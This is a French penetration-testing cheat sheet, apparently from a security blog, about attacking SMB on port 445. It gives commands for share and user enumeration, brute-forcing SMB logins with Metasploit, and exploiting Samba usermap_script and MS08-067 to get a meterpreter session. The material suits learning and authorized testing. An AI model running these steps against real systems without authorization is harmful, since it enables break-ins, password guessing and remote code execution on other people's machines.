> For the complete documentation index, see [llms.txt](https://blog.hacktive.bebzounette.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.hacktive.bebzounette.com/services/smb-445.md).

# SMB - 445

### **1. Liste de commandes basiques**

#### **Nmap Command**

```
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.76.169
```

#### **SMBClient :**

Lister fichiers contenu dans une répertoire partagé samba

```
smbclient -L <ip> -N
```

Se connecter au répertoire partagé samba

```
smbclient \\\\<ip>\\(Nom du dossier partagé)
```

#### **SMBMap:**

```
smbmap -H 10.10.167.97
```

* Enumérer les sous dossiers et fichier d'un dossier ciblé

```
smbmap -R Replication -H 10.10.10.100 
```

#### **Enumération et récupération des fichiers dans un share**

```
smbget -R smb://192.168.106.71/share

smbmap -H 192.168.106.71 -r 'share'
```

### **2. Enumération Serveur Samba**

Vous pouvez faire de l'énumération sur une machine en utilisant l'outils Enum4Linux:

```
apt install enum4linux
```

```
enum4linux -a <IP>
```

### **3. Exploitation d’un serveur Samba mal configuré avec Metasploit :**

```
msfconsole 
msf > search scanner/samba
msf > use auxiliary/scanner/smb/smb_version
Astuce :  Vous pouvez effectuer beaucoup d’autres scans sur le serveur samba, il suffit d’utiliser cette commande : use auxiliary/scanner/smb/(nom du scan)
msf > msfauxiliary(smb_version) > set RHOSTS <ip victime>
msf> use exploit/multi/samba/usermap_script
SET HOSTS AND PORT“
run” ou “exploit”
```

### **4. Brute Force smb avec Metasploit :**

* **msfconsole**&#x20;
* **use auxiliary/scanner/smb/smb\_login**
* **set rhosts 192.168.55.248s**
* **et pass\_file \<wordlist>s**
* **et smbuser \<username>**
* **set stop\_on\_success true**

### **5. Exploitation du service samba**

#### **5.1 SMBClient**

Quand vous avez réussi à obtenir des identifiants et mots de passes vous pouvez tenter d'exploiter le service.

Tout d'abord allons fouiller dans les différents répertoires partagés (utilisation impacket) :

```
python3 smbclient.py <IP>
Astuce : tapez help pour voir la liste de commande
use <nom_du_dossier_partagé> 
ls
get <your file>
NB : Le fichier que vous venez de télécharger se trouvera dans le me répertoire que celui où vous étiez quand vous avez lancer smbclient.
```

#### **5.2 PSexec**

La manière la plus populaire est d'utiliser la PSExec. A l’aide de PsExec, on peut établir une connexion distante et tenter des collecter plus d’infos sensibles voire envisager une escalation de privilège.

Comme dans la plupart des cas, metasploit a déjà un module qui va vous simplifier la tache :

Vous devriez avoir ensuite une session meterpreter.

Une autre façon peut être d'utiliser un exploit, voici ci dessous l'exploitation d'un serveur samba avec la ms08\_067 (un buffer overflow).

Essayons d'abord de voir si la version de smb est vulnérable.

On découvre ici la présence d'une CVE: CVE-2008-4250 qui permettrait l'exécution de code arbitraire à distance via la modification d'une requête RPC qui entraine un buffer-overflow.

Nous avons encore une fois un module metasploit qui est disponible(je vous encourage malgré tout à utiliser le moins possible metasploit et à utiliser d'autre outils, lire les exploits et les comprendre).

```
set RHOST <IP>
set payload windows/meterpreter/bind_tcp
set target 72
```

Ici on fait attention à "Set" la bonne "Target" en utilisant la commande

```
show target
```

Cela va vous permettre de vérifier la configuration de la langue et du pack utilisé sur la machine victime.

On lance l'exploit et on arrive à avoir une session meterpreter toute bien.
